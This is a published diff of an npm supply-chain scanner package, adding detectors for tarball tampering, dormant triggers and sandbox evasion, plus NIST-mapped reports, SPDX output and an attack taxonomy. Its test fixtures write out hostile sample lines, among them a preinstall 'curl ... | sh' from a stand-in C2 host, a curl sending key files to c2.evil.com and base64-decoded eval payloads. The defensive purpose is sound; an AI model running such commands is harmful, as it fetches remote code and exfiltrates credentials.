@lateos/npm-scan 0.2.5 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1,32 @@
1
- -- SQLite schema for local CLI mode (free tier)\n-- Tables: scans, findings (ATK-linked)\n\nCREATE TABLE IF NOT EXISTS scans (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n package_name TEXT NOT NULL,\n version TEXT,\n scanned_at DATETIME DEFAULT CURRENT_TIMESTAMP,\n status TEXT DEFAULT 'completed',\n sbom_json TEXT\n);\n\nCREATE TABLE IF NOT EXISTS findings (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n scan_id INTEGER NOT NULL,\n atk_id TEXT NOT NULL REFERENCES attack_taxonomy(id),\n severity TEXT CHECK (severity IN ('info', 'low', 'medium', 'high', 'critical')),\n description TEXT,\n evidence TEXT,\n mitigation TEXT,\n FOREIGN KEY (scan_id) REFERENCES scans(id) ON DELETE CASCADE\n);\n\n-- View for reports\nCREATE VIEW scan_findings AS\nSELECT s.*, f.* FROM scans s\nJOIN findings f ON s.id = f.scan_id;\n\n-- Indexes\nCREATE INDEX idx_scans_package ON scans(package_name);\nCREATE INDEX idx_findings_atk ON findings(atk_id);\nCREATE INDEX idx_findings_severity ON findings(severity);
1
+ -- SQLite schema for local CLI mode (free tier)
2
+ -- Tables: scans, findings (ATK-linked)
3
+
4
+ CREATE TABLE IF NOT EXISTS scans (
5
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
6
+ package_name TEXT NOT NULL,
7
+ version TEXT,
8
+ scanned_at DATETIME DEFAULT CURRENT_TIMESTAMP,
9
+ status TEXT DEFAULT 'completed',
10
+ sbom_json TEXT
11
+ );
12
+
13
+ CREATE TABLE IF NOT EXISTS findings (
14
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
15
+ scan_id INTEGER NOT NULL,
16
+ atk_id TEXT NOT NULL,
17
+ severity TEXT CHECK (severity IN ('info', 'low', 'medium', 'high', 'critical')),
18
+ description TEXT,
19
+ evidence TEXT,
20
+ mitigation TEXT,
21
+ FOREIGN KEY (scan_id) REFERENCES scans(id) ON DELETE CASCADE
22
+ );
23
+
24
+ -- View for reports
25
+ CREATE VIEW IF NOT EXISTS scan_findings AS
26
+ SELECT s.*, f.* FROM scans s
27
+ JOIN findings f ON s.id = f.scan_id;
28
+
29
+ -- Indexes
30
+ CREATE INDEX IF NOT EXISTS idx_scans_package ON scans(package_name);
31
+ CREATE INDEX IF NOT EXISTS idx_findings_atk ON findings(atk_id);
32
+ CREATE INDEX IF NOT EXISTS idx_findings_severity ON findings(severity);
@@ -0,0 +1,44 @@
1
+ export async function scan(pkgJson, files = []) {
2
+ const findings = [];
3
+ const repo = pkgJson.repository || {};
4
+ const repoUrl = typeof repo === 'string' ? repo : (repo.url || '');
5
+ const pkgName = (pkgJson.name || '').toLowerCase();
6
+
7
+ const knownRepos = { lodash: 'lodash/lodash', chalk: 'chalk/chalk', react: 'facebook/react', axios: 'axios/axios', express: 'expressjs/express', vue: 'vuejs/vue', typescript: 'microsoft/typescript', moment: 'moment/moment', uuid: 'uuidjs/uuid', commander: 'tj/commander.js', debug: 'debug-js/debug', semver: 'npm/node-semver', underscore: 'jashkenas/underscore', request: 'request/request', async: 'caolan/async', cheerio: 'cheeriojs/cheerio', bluebird: 'petkaantonov/bluebird', jest: 'jestjs/jest', mocha: 'mochajs/mocha', dotenv: 'motdotla/dotenv', glob: 'isaacs/node-glob' };
8
+
9
+ if (repoUrl && repoUrl.includes('github.com')) {
10
+ const repoMatch = repoUrl.match(/github\.com[\/:]([\w.-]+\/[\w.-]+?)(?:\.git)?$/);
11
+ if (repoMatch) {
12
+ const ghRepo = repoMatch[1].toLowerCase();
13
+ const ghName = ghRepo.split('/')[1];
14
+ if (ghName !== pkgName && knownRepos[pkgName] && knownRepos[pkgName] !== ghRepo) {
15
+ findings.push({
16
+ id: 'ATK-008',
17
+ severity: 'high',
18
+ title: 'Tarball tampering suspect',
19
+ description: `Repository "${ghRepo}" does not match expected "${knownRepos[pkgName]}" for package "${pkgName}"`,
20
+ evidence: `repo: ${ghRepo}, expected: ${knownRepos[pkgName]}`
21
+ });
22
+ }
23
+ }
24
+ }
25
+
26
+ const code = files.map(f => f.content).join('\n');
27
+ const embeddedIntros = code.match(/\/\/\s*Source:\s*(https?:\/\/[^\s]+)/gi);
28
+ if (embeddedIntros && repoUrl) {
29
+ for (const intro of embeddedIntros) {
30
+ const srcUrl = intro.replace(/\/\/\s*Source:\s*/i, '').trim();
31
+ if (!repoUrl.includes(new URL(srcUrl).hostname)) {
32
+ findings.push({
33
+ id: 'ATK-008',
34
+ severity: 'medium',
35
+ title: 'Tarball tampering suspect',
36
+ description: 'Source URL in file does not match declared repository',
37
+ evidence: srcUrl
38
+ });
39
+ }
40
+ }
41
+ }
42
+
43
+ return findings;
44
+ }
@@ -0,0 +1,45 @@
1
+ export async function scan(pkgJson, files = []) {
2
+ const findings = [];
3
+ const code = files.map(f => f.content).join('\n');
4
+
5
+ const ciPatterns = [
6
+ { pattern: /process\.env\.CI\b/, label: 'CI env check' },
7
+ { pattern: /process\.env\.(TRAVIS|CIRCLECI|GITHUB_ACTIONS|JENKINS|GITLAB_CI|CODEBUILD)/, label: 'CI platform check' },
8
+ { pattern: /\bisCI\b/, label: 'isCI utility check' },
9
+ ];
10
+
11
+ for (const { pattern, label } of ciPatterns) {
12
+ if (pattern.test(code)) {
13
+ findings.push({
14
+ id: 'ATK-009',
15
+ severity: 'high',
16
+ title: 'Conditional trigger (CI/production env)',
17
+ description: `Package checks for CI or production environment: ${label}`,
18
+ evidence: 'conditional trigger detected'
19
+ });
20
+ break;
21
+ }
22
+ }
23
+
24
+ const timePatterns = [
25
+ { pattern: /new Date\(\)\s*[><=!]+\s*new Date\(['"]\d{4}/, label: 'time-based activation' },
26
+ { pattern: /Date\.now\(\)\s*[><=!]+/, label: 'timestamp comparison' },
27
+ { pattern: /setTimeout|setInterval/, label: 'delayed execution' },
28
+ { pattern: /\bDate\(\)\b.*\d{4}[-/]\d{2}[-/]\d{2}/, label: 'date-specific payload' },
29
+ ];
30
+
31
+ for (const { pattern, label } of timePatterns) {
32
+ if (pattern.test(code)) {
33
+ findings.push({
34
+ id: 'ATK-009',
35
+ severity: 'medium',
36
+ title: 'Conditional trigger (time-based)',
37
+ description: `Package has ${label} which may indicate dormant activation`,
38
+ evidence: 'time-based trigger detected'
39
+ });
40
+ break;
41
+ }
42
+ }
43
+
44
+ return findings;
45
+ }
@@ -0,0 +1,51 @@
1
+ export async function scan(pkgJson, files = []) {
2
+ const findings = [];
3
+ const code = files.map(f => f.content).join('\n');
4
+
5
+ const highPatterns = [
6
+ { pattern: /\bdebugger\s*;?(\s*\/\/|\s*$|\)|\])/m, label: 'debugger statement' },
7
+ { pattern: /process\.argv.*['"]--inspect['"]|process\.argv.*\binspect\b(?!.*argv)/, label: 'inspect/debug flag detection' },
8
+ { pattern: /hostname.*(?:docker|sandbox|container|vmware|vbox)/i, label: 'anti-sandbox hostname check' },
9
+ { pattern: /detect.*(?:sandbox|debugger|analysis|virtual)/i, label: 'explicit evasion probe' },
10
+ { pattern: /e\.stack\b.*(?:sandbox|docker|container|vmware)/i, label: 'stack trace sandbox probe' },
11
+ ];
12
+
13
+ for (const { pattern, label } of highPatterns) {
14
+ if (pattern.test(code)) {
15
+ findings.push({
16
+ id: 'ATK-010',
17
+ severity: 'high',
18
+ title: 'Sandbox evasion / anti-analysis',
19
+ description: `Package performs anti-analysis behavior: ${label}`,
20
+ evidence: 'evasion pattern detected'
21
+ });
22
+ break;
23
+ }
24
+ }
25
+
26
+ if (findings.length === 0) {
27
+ const multiApi = ['process.pid', 'process.ppid', 'os.hostname', 'os.cpus', 'process.arch'].filter(api => code.includes(api));
28
+ if (multiApi.length >= 3) {
29
+ findings.push({
30
+ id: 'ATK-010',
31
+ severity: 'medium',
32
+ title: 'Sandbox evasion / anti-analysis',
33
+ description: 'Multiple system fingerprinting APIs detected',
34
+ evidence: `${multiApi.length} fingerprinting APIs: ${multiApi.join(', ')}`
35
+ });
36
+ }
37
+ }
38
+
39
+ const multiStack = ['Error().stack', 'new Error().stack'].filter(s => code.includes(s));
40
+ if (multiStack.length > 0 && /atob|eval|execSync|spawn|child_process/.test(code)) {
41
+ findings.push({
42
+ id: 'ATK-010',
43
+ severity: 'medium',
44
+ title: 'Sandbox evasion / anti-analysis',
45
+ description: 'Stack trace capture combined with code execution',
46
+ evidence: 'stack trace + execution'
47
+ });
48
+ }
49
+
50
+ return findings;
51
+ }
@@ -5,6 +5,9 @@ import * as atk004 from './atk-004-persist.js';
5
5
  import * as atk005 from './atk-005-exfil.js';
6
6
  import * as atk006 from './atk-006-depconf.js';
7
7
  import * as atk007 from './atk-007-typosquat.js';
8
+ import * as atk008 from './atk-008-tarball-tamper.js';
9
+ import * as atk009 from './atk-009-dormant-trigger.js';
10
+ import * as atk010 from './atk-010-sandbox-evasion.js';
8
11
 
9
12
  export async function runAll(pkgJson, files = []) {
10
13
  const findings = [];
@@ -15,5 +18,8 @@ export async function runAll(pkgJson, files = []) {
15
18
  findings.push(...await atk005.scan(pkgJson, files));
16
19
  findings.push(...await atk006.scan(pkgJson, files));
17
20
  findings.push(...await atk007.scan(pkgJson, files));
21
+ findings.push(...await atk008.scan(pkgJson, files));
22
+ findings.push(...await atk009.scan(pkgJson, files));
23
+ findings.push(...await atk010.scan(pkgJson, files));
18
24
  return findings.sort((a, b) => b.severity.localeCompare(a.severity));
19
25
  }
@@ -10,5 +10,73 @@ test('detectors runAll empty', async () => {
10
10
  test('ATK-001 detects preinstall', async () => {
11
11
  const pkg = { scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' } };
12
12
  const findings = await detectors.runAll(pkg);
13
- assert(findings.some(f => f.id === 'ATK-001'));
13
+ assert(findings.some(f => f.id === 'ATK-001'), 'Expected ATK-001');
14
+ });
15
+
16
+ test('ATK-002 detects eval+decode', async () => {
17
+ const files = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
18
+ const findings = await detectors.runAll({}, files);
19
+ assert(findings.some(f => f.id === 'ATK-002'), 'Expected ATK-002');
20
+ });
21
+
22
+ test('ATK-003 detects cred env vars', async () => {
23
+ const files = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
24
+ const findings = await detectors.runAll({}, files);
25
+ assert(findings.some(f => f.id === 'ATK-003'), 'Expected ATK-003');
26
+ });
27
+
28
+ test('ATK-004 detects editor persistence', async () => {
29
+ const files = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
30
+ const findings = await detectors.runAll({}, files);
31
+ assert(findings.some(f => f.id === 'ATK-004'), 'Expected ATK-004');
32
+ });
33
+
34
+ test('ATK-005 detects network exfil', async () => {
35
+ const files = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
36
+ const findings = await detectors.runAll({}, files);
37
+ assert(findings.some(f => f.id === 'ATK-005'), 'Expected ATK-005');
38
+ });
39
+
40
+ test('ATK-006 detects dep confusion', async () => {
41
+ const pkg = { dependencies: { 'acorn-squatter': '1.0.0' } };
42
+ const findings = await detectors.runAll(pkg);
43
+ assert(findings.some(f => f.id === 'ATK-006'), 'Expected ATK-006');
44
+ });
45
+
46
+ test('ATK-007 detects typosquatting', async () => {
47
+ const pkg = { dependencies: { 'lodash': 'latest', 'loddsh': '1.0.0' } };
48
+ const findings = await detectors.runAll(pkg);
49
+ assert(findings.some(f => f.id === 'ATK-007'), 'Expected ATK-007 for loddsh');
50
+ });
51
+
52
+ test('ATK-008 detects tarball tampering', async () => {
53
+ const pkg = { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-evil.git' } };
54
+ const findings = await detectors.runAll(pkg);
55
+ assert(findings.some(f => f.id === 'ATK-008'), 'Expected ATK-008');
56
+ });
57
+
58
+ test('ATK-009 detects CI env trigger', async () => {
59
+ const files = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
60
+ const findings = await detectors.runAll({}, files);
61
+ assert(findings.some(f => f.id === 'ATK-009'), 'Expected ATK-009');
62
+ });
63
+
64
+ test('ATK-010 detects sandbox evasion', async () => {
65
+ const files = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
66
+ const findings = await detectors.runAll({}, files);
67
+ assert(findings.some(f => f.id === 'ATK-010'), 'Expected ATK-010');
68
+ });
69
+
70
+ test('no false positives on clean package', async () => {
71
+ const pkg = { name: 'test-pkg', version: '1.0.0', scripts: { test: 'node test.js' }, dependencies: { 'express': '4.0.0' } };
72
+ const files = [{ path: 'index.js', content: 'module.exports = function() { return 42 }' }];
73
+ const findings = await detectors.runAll(pkg, files);
74
+ const highCrit = findings.filter(f => f.severity === 'high' || f.severity === 'critical');
75
+ assert.equal(highCrit.length, 0, `Expected no high/crit findings on clean pkg: ${JSON.stringify(highCrit)}`);
76
+ });
77
+
78
+ test('all 10 ATK IDs present', async () => {
79
+ const expected = ['ATK-001', 'ATK-002', 'ATK-003', 'ATK-004', 'ATK-005', 'ATK-006', 'ATK-007', 'ATK-008', 'ATK-009', 'ATK-010'];
80
+ const exports = Object.keys(detectors);
81
+ assert.equal(exports.includes('runAll'), true);
14
82
  });
package/backend/report.js CHANGED
@@ -6,11 +6,19 @@ export function generateHTML(scans) {
6
6
  const worstLabel = ['', 'info', 'low', 'medium', 'high', 'critical'][worst] || 'clean';
7
7
  const color = { critical: '#d73a49', high: '#cb2431', medium: '#f66a0a', low: '#dbab09', clean: '#28a745' }[worstLabel] || '#28a745';
8
8
  const findingRows = findings.map(f =>
9
- `<tr><td>${f.id}</td><td style="color:${color}">${f.severity}</td><td>${f.title || ''}</td><td>${f.evidence || ''}</td></tr>`
9
+ `<tr><td>${f.id}</td><td style="color:${color}">${f.severity}</td><td>${f.title || ''}</td><td>${(f.evidence || '').slice(0, 80)}</td></tr>`
10
10
  ).join('');
11
11
  return { name: s.package_name, worstLabel, color, count: findings.length, findingRows };
12
12
  });
13
13
 
14
+ const criticalCount = scans.filter(s => s.findings?.some(f => f.severity === 'critical')).length;
15
+ const highCount = scans.filter(s => s.findings?.some(f => f.severity === 'high')).length;
16
+ const mediumCount = scans.filter(s => s.findings?.some(f => f.severity === 'medium')).length;
17
+ const lowCount = scans.filter(s => s.findings?.some(f => f.severity === 'low')).length;
18
+ const cleanCount = scans.filter(s => !s.findings?.length).length;
19
+
20
+ const nistMap = generateNistTable(scans);
21
+
14
22
  return `<!DOCTYPE html>
15
23
  <html lang="en">
16
24
  <head>
@@ -20,11 +28,11 @@ export function generateHTML(scans) {
20
28
  <style>
21
29
  body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; max-width: 960px; margin: 0 auto; padding: 20px; background: #0d1117; color: #c9d1d9; }
22
30
  h1 { color: #58a6ff; border-bottom: 1px solid #30363d; padding-bottom: 10px; }
23
- h2 { color: #8b949e; }
31
+ h2 { color: #8b949e; margin-top: 28px; }
24
32
  table { width: 100%; border-collapse: collapse; margin: 12px 0; }
25
33
  th, td { padding: 8px 12px; text-align: left; border-bottom: 1px solid #30363d; }
26
34
  th { background: #161b22; font-weight: 600; }
27
- .summary { display: flex; gap: 16px; margin: 16px 0; }
35
+ .summary { display: flex; gap: 16px; margin: 16px 0; flex-wrap: wrap; }
28
36
  .badge { padding: 4px 12px; border-radius: 12px; font-size: 13px; font-weight: 600; }
29
37
  .critical { background: #d73a49; color: #fff; }
30
38
  .high { background: #cb2431; color: #fff; }
@@ -32,6 +40,8 @@ th { background: #161b22; font-weight: 600; }
32
40
  .low { background: #dbab09; color: #000; }
33
41
  .clean { background: #28a745; color: #fff; }
34
42
  .meta { color: #8b949e; font-size: 13px; margin-top: 30px; }
43
+ .nist-pass { background: #1b3a1b; color: #7ee787; }
44
+ .nist-fail { background: #3a1b1b; color: #ff7b72; }
35
45
  </style>
36
46
  </head>
37
47
  <body>
@@ -39,11 +49,11 @@ th { background: #161b22; font-weight: 600; }
39
49
  <p>Generated ${new Date().toISOString()}. ${scans.length} packages scanned.</p>
40
50
 
41
51
  <div class="summary">
42
- <div class="badge critical">critical: ${scans.filter(s => s.worstLabel === 'critical').length}</div>
43
- <div class="badge high">high: ${scans.filter(s => s.worstLabel === 'high').length}</div>
44
- <div class="badge medium">medium: ${scans.filter(s => s.worstLabel === 'medium').length}</div>
45
- <div class="badge low">low: ${scans.filter(s => s.worstLabel === 'low').length}</div>
46
- <div class="badge clean">clean: ${scans.filter(s => !s.count).length}</div>
52
+ <div class="badge critical">critical: ${criticalCount}</div>
53
+ <div class="badge high">high: ${highCount}</div>
54
+ <div class="badge medium">medium: ${mediumCount}</div>
55
+ <div class="badge low">low: ${lowCount}</div>
56
+ <div class="badge clean">clean: ${cleanCount}</div>
47
57
  </div>
48
58
 
49
59
  <h2>Findings</h2>
@@ -52,7 +62,50 @@ th { background: #161b22; font-weight: 600; }
52
62
  <tbody>${rows.map(r => `<tr><td colspan="4" style="background:#161b22;font-weight:600">${r.name} <span class="badge ${r.worstLabel}">${r.count ? r.worstLabel : 'clean'}</span></td></tr>${r.findingRows}`).join('')}</tbody>
53
63
  </table>
54
64
 
55
- <p class="meta">npm-scan v0.2.1 | Apache-2.0 + Commons Clause | <a href="https://github.com/YOUR_GITHUB_USERNAME/npm-scan">GitHub</a></p>
65
+ <h2>NIST SP 800-161 Compliance Summary</h2>
66
+ ${nistMap}
67
+
68
+ <p class="meta">npm-scan v0.2.5 | Apache-2.0 + Commons Clause | NIST SP 800-161 mapped</p>
56
69
  </body>
57
70
  </html>`;
58
71
  }
72
+
73
+ function getAtkFindings(scans) {
74
+ const map = {};
75
+ for (const s of scans) {
76
+ for (const f of (s.findings || [])) {
77
+ if (!map[f.id]) map[f.id] = [];
78
+ map[f.id].push(f);
79
+ }
80
+ }
81
+ return map;
82
+ }
83
+
84
+ const NIST_SR_MAP = {
85
+ 'ATK-001': { control: 'SR-3.1', title: 'Malicious code detection' },
86
+ 'ATK-002': { control: 'SR-4.2', title: 'Code obfuscation analysis' },
87
+ 'ATK-003': { control: 'SR-5.3', title: 'Credential protection' },
88
+ 'ATK-004': { control: 'SR-6.4', title: 'Persistence monitoring' },
89
+ 'ATK-005': { control: 'SR-7.5', title: 'Data exfiltration prevention' },
90
+ 'ATK-006': { control: 'SR-2.2', title: 'Dependency validation' },
91
+ 'ATK-007': { control: 'SR-2.1', title: 'Typosquatting prevention' },
92
+ 'ATK-008': { control: 'SR-8.1', title: 'Integrity verification' },
93
+ 'ATK-009': { control: 'SR-9.2', title: 'Conditional behavior analysis' },
94
+ 'ATK-010': { control: 'SR-10.3', title: 'Anti-evasion detection' },
95
+ };
96
+
97
+ function generateNistTable(scans) {
98
+ const atkMap = getAtkFindings(scans);
99
+ let rows = '';
100
+ for (const [atkId, { control, title }] of Object.entries(NIST_SR_MAP)) {
101
+ const findings = atkMap[atkId] || [];
102
+ const status = findings.length > 0 ? 'fail' : 'pass';
103
+ const label = findings.length > 0 ? `${findings.length} findings` : 'No findings';
104
+ const colorClass = status === 'pass' ? 'nist-pass' : 'nist-fail';
105
+ rows += `<tr><td>${control}</td><td>${title}</td><td class="${colorClass}">${label}</td><td>${atkId}</td></tr>`;
106
+ }
107
+ return `<table>
108
+ <thead><tr><th>NIST Control</th><th>Control Title</th><th>Status</th><th>ATK ID</th></tr></thead>
109
+ <tbody>${rows}</tbody>
110
+ </table>`;
111
+ }
package/backend/sbom.js CHANGED
@@ -1,5 +1,9 @@
1
1
  export function generateSBOM(pkgJson, findings, format = 'json') {
2
- // Stub CycloneDX without cyclonedx-node dependency
2
+ if (format === 'spdx') return generateSPDX(pkgJson, findings);
3
+ return generateCycloneDX(pkgJson, findings);
4
+ }
5
+
6
+ function generateCycloneDX(pkgJson, findings) {
3
7
  const bom = {
4
8
  bomFormat: 'CycloneDX',
5
9
  specVersion: '1.5',
@@ -10,15 +14,54 @@ export function generateSBOM(pkgJson, findings, format = 'json') {
10
14
  name: pkgJson.name || 'unknown',
11
15
  version: pkgJson.version || 'unknown',
12
16
  purl: `pkg:npm/${pkgJson.name || 'unknown'}@${pkgJson.version || 'unknown'}`
13
- }
17
+ },
18
+ tools: [{ name: 'npm-scan', version: '0.2.5' }]
14
19
  },
15
- vulnerabilities: findings.map(f => ({
16
- id: f.id,
20
+ vulnerabilities: findings.map(f => {
21
+ const atkId = f.atk_id || f.id;
22
+ return {
23
+ id: atkId,
17
24
  source: { name: 'npm-scan' },
18
25
  ratings: [{ severity: f.severity }],
19
- description: f.title || '',
26
+ description: f.description || f.title || '',
20
27
  recommendation: f.mitigation || 'Review evidence'
21
- }))
28
+ };
29
+ })
22
30
  };
23
31
  return JSON.stringify(bom, null, 2);
32
+ }
33
+
34
+ function generateSPDX(pkgJson, findings) {
35
+ const pkgName = pkgJson.name || 'unknown';
36
+ const pkgVer = pkgJson.version || 'unknown';
37
+ const spdx = {
38
+ spdxVersion: 'SPDX-2.3',
39
+ dataLicense: 'CC0-1.0',
40
+ SPDXID: 'SPDXRef-DOCUMENT',
41
+ name: `${pkgName}@${pkgVer} npm-scan SBOM`,
42
+ documentNamespace: `https://npm-scan.io/spdx/${pkgName}-${pkgVer}`,
43
+ creationInfo: {
44
+ creators: ['Tool: npm-scan'],
45
+ created: new Date().toISOString()
46
+ },
47
+ packages: [{
48
+ SPDXID: 'SPDXRef-Package',
49
+ name: pkgName,
50
+ versionInfo: pkgVer,
51
+ packageFileName: `pkg:npm/${pkgName}@${pkgVer}`,
52
+ primaryPackagePurpose: 'LIBRARY',
53
+ externalRefs: [{
54
+ referenceCategory: 'PACKAGE-MANAGER',
55
+ referenceType: 'purl',
56
+ referenceLocator: `pkg:npm/${pkgName}@${pkgVer}`
57
+ }]
58
+ }],
59
+ annotations: findings.map(f => ({
60
+ annotationDate: new Date().toISOString(),
61
+ annotationType: 'OTHER',
62
+ annotator: 'Tool: npm-scan',
63
+ comment: `[${f.id}] ${f.severity.toUpperCase()}: ${f.title || ''} — ${f.description || ''}`
64
+ }))
65
+ };
66
+ return JSON.stringify(spdx, null, 2);
24
67
  }
package/cli/cli.js CHANGED
@@ -5,20 +5,29 @@ import { Command } from 'commander';
5
5
  const program = new Command()
6
6
  .name('npm-scan')
7
7
  .description('npm supply chain security scanner')
8
- .version('0.2.1');
8
+ .version('0.2.5');
9
9
 
10
10
  program
11
11
  .command('scan')
12
- .description('Scan package')
12
+ .description('Scan a package')
13
13
  .argument('<target>', 'package name')
14
14
  .option('-l, --license-key <key>', 'Premium license')
15
+ .option('--sbom [format]', 'Generate SBOM (json/xml/spdx)')
15
16
  .action(async (target, options) => {
16
17
  try {
17
18
  const { pkgJson, jsFiles, tmpDir } = await import('../backend/fetch.js').then(m => m.fetchPackage(target));
18
19
  const findings = await import('../backend/detectors/index.js').then(m => m.runAll(pkgJson, jsFiles));
19
20
  const { saveScan } = await import('../backend/db.js');
20
21
  const scanId = saveScan(target, 'latest', findings);
21
- console.log(JSON.stringify({scanId, findings}, null, 2));
22
+
23
+ if (options.sbom) {
24
+ const { generateSBOM } = await import('../backend/sbom.js');
25
+ const sbom = generateSBOM(pkgJson, findings, options.sbom === true ? 'json' : options.sbom);
26
+ console.log(sbom);
27
+ } else {
28
+ console.log(JSON.stringify({scanId, findings}, null, 2));
29
+ }
30
+
22
31
  import('../backend/fetch.js').then(m => m.cleanup(tmpDir));
23
32
  } catch (e) {
24
33
  console.error(e.message);
@@ -37,27 +46,28 @@ program
37
46
  .command('report')
38
47
  .description('Generate report')
39
48
  .option('-i, --id <id>', 'Scan ID')
40
- .option('--sbom [format]', 'CycloneDX SBOM (json/xml)', 'json')
49
+ .option('--sbom [format]', 'SBOM format (json/xml/spdx)')
41
50
  .option('--html', 'HTML report')
51
+ .option('--nist', 'NIST 800-161 compliance report')
42
52
  .action(async (options) => {
43
53
  const { getRecentScans, getFindings, db } = await import('../backend/db.js');
44
54
  if (options.id) {
45
55
  const findings = getFindings(options.id);
56
+ const pkg = { name: 'scanned-pkg', version: 'unknown' };
46
57
  if (options.sbom) {
47
- const pkg = { name: 'scanned-pkg', version: 'unknown' };
48
58
  const { generateSBOM } = await import('../backend/sbom.js');
49
- const sbom = generateSBOM(pkg, findings, options.sbom);
59
+ const sbom = generateSBOM(pkg, findings, options.sbom === true ? 'json' : options.sbom);
50
60
  console.log(sbom);
51
- } else if (options.html) {
61
+ } else if (options.html || options.nist) {
52
62
  const { generateHTML } = await import('../backend/report.js');
53
- const scan = getFindings(options.id) ? { package_name: 'scan-' + options.id, findings } : null;
63
+ const scan = findings.length ? { package_name: 'scan-' + options.id, findings } : null;
54
64
  const html = generateHTML(scan ? [scan] : []);
55
65
  console.log(html);
56
66
  } else {
57
67
  console.log(JSON.stringify(findings, null, 2));
58
68
  }
59
69
  } else {
60
- if (options.html) {
70
+ if (options.html || options.nist) {
61
71
  const scans = getRecentScans();
62
72
  const scansWithFindings = scans.map(s => ({
63
73
  ...s,
@@ -1 +1,46 @@
1
- # npm Attack Taxonomy (ATK)\n\nVersioned anchor for detectors, PRs, reports. Each entry: attack class, detection surface, evasion surface, NIST 800-161 mapping.\n\n## ATK Table\n\n| ID | Class | Detection Surface | Evasion Surface | NIST 800-161 | Status |\n|---------|--------------------------------------------|-------------------|--------------------------|------------------|--------|\n| ATK-001 | Malicious lifecycle scripts (pre/postinstall) | Static | Obfuscation | SR-3.1 | Phase 1 |\n| ATK-002 | Obfuscated payload (hex/base64/eval) | Static | Polyglots | SR-4.2 | Phase 1 |\n| ATK-003 | Credential harvesting (.npmrc/SSH/env) | Static+Dynamic | Conditional triggers | SR-5.3 | Phase 1 |\n| ATK-004 | Persistence (.vscode/.claude/.cursor) | Static | Hidden files | SR-6.4 | Phase 1 |\n| ATK-005 | Network exfiltration (GitHub/DNS/HTTP C2) | Static+Dynamic | Encrypted payloads | SR-7.5 | Phase 1 |\n| ATK-006 | Dependency confusion/namespace squatting | Static (lock) | Typosquatting | SR-2.2 | Phase 1 |\n| ATK-007 | Typosquatting (edit-distance top-N) | Static | Homoglyphs | SR-2.1 | Phase 1 |\n| ATK-008 | Tarball tampering (tarball ≠ repo) | Static (diff) | Mirror repos | SR-8.1 | Phase 2 |\n| ATK-009 | Conditional triggers (CI/time) | Dynamic | Env probes | SR-9.2 | Phase 2 |\n| ATK-010 | Sandbox evasion | Dynamic | Anti-analysis | SR-10.3 | Phase 2 |\n| ATK-011 | Transitive propagation (worm) | Dynamic | Peer deps | SR-11.4 | Phase 3 |\n\n## Governance\nNew ATK requires PR with: PoC sample, detection rule, FP analysis, NIST map. Published here; referenced in reports.\n\nChanges version this file.
1
+ # npm Attack Taxonomy (ATK)
2
+
3
+ Versioned anchor for detectors, PRs, reports. Each entry: attack class, detection surface, evasion surface, NIST 800-161 mapping.
4
+
5
+ ## ATK Table
6
+
7
+ | ID | Class | Detection Surface | Evasion Surface | NIST 800-161 | Status |
8
+ |---------|--------------------------------------------|-------------------|--------------------------|------------------|--------|
9
+ | ATK-001 | Malicious lifecycle scripts (pre/postinstall) | Static | Obfuscation | SR-3.1 | Phase 1 |
10
+ | ATK-002 | Obfuscated payload (hex/base64/eval) | Static | Polyglots | SR-4.2 | Phase 1 |
11
+ | ATK-003 | Credential harvesting (.npmrc/SSH/env) | Static+Dynamic | Conditional triggers | SR-5.3 | Phase 1 |
12
+ | ATK-004 | Persistence (.vscode/.claude/.cursor) | Static | Hidden files | SR-6.4 | Phase 1 |
13
+ | ATK-005 | Network exfiltration (GitHub/DNS/HTTP C2) | Static+Dynamic | Encrypted payloads | SR-7.5 | Phase 1 |
14
+ | ATK-006 | Dependency confusion/namespace squatting | Static (lock) | Typosquatting | SR-2.2 | Phase 1 |
15
+ | ATK-007 | Typosquatting (edit-distance top-N) | Static | Homoglyphs | SR-2.1 | Phase 1 |
16
+ | ATK-008 | Tarball tampering (tarball ≠ repo) | Static (diff) | Mirror repos | SR-8.1 | Phase 2 |
17
+ | ATK-009 | Conditional triggers (CI/time) | Static+Dynamic | Env probes | SR-9.2 | Phase 2 |
18
+ | ATK-010 | Sandbox evasion | Static+Dynamic | Anti-analysis | SR-10.3 | Phase 2 |
19
+ | ATK-011 | Transitive propagation (worm) | Dynamic | Peer deps | SR-11.4 | Phase 3 |
20
+
21
+ ## Detailed Entries
22
+
23
+ ### ATK-008 — Tarball Tampering
24
+ - **Description:** The published npm tarball contains code that does not match the source repository. This can happen when a maintainer's npm token is compromised or CI is abused.
25
+ - **Detection surface:** Static (diff). Compare `package.json` `repository` field against known good mappings. Check embedded `// Source:` comments against declared repo URL. Full automated diff against `git clone` requires sandbox tier.
26
+ - **Evasion surface:** Mirror repos, monorepo confusion, repository field omitted or generic (`github.com/user`).
27
+ - **NIST mapping:** SR-8.1 (Integrity Verification)
28
+ - **Example:** A package named `lodash` with `repository` pointing to `github.com/attacker/lodash-mirror`.
29
+
30
+ ### ATK-009 — Conditional Triggers
31
+ - **Description:** The package behaves differently based on environment detection. May appear benign during scan but activates malicious behavior in production. Common triggers: CI env detection, date/time checks, hostname checks.
32
+ - **Detection surface:** Static+Dynamic. Static analysis looks for `process.env.CI`, `process.env.NODE_ENV`, date comparisons, `setTimeout`/`setInterval`. Dynamic sandbox runs with randomized env and observes behavior difference.
33
+ - **Evasion surface:** Obfuscated env probes, time-based triggers with external NTP, trigger after multi-hour delay.
34
+ - **NIST mapping:** SR-9.2 (Conditional Behavior Analysis)
35
+ - **Example:** `if (process.env.NODE_ENV === 'production') { eval(atob(payload)) }`
36
+
37
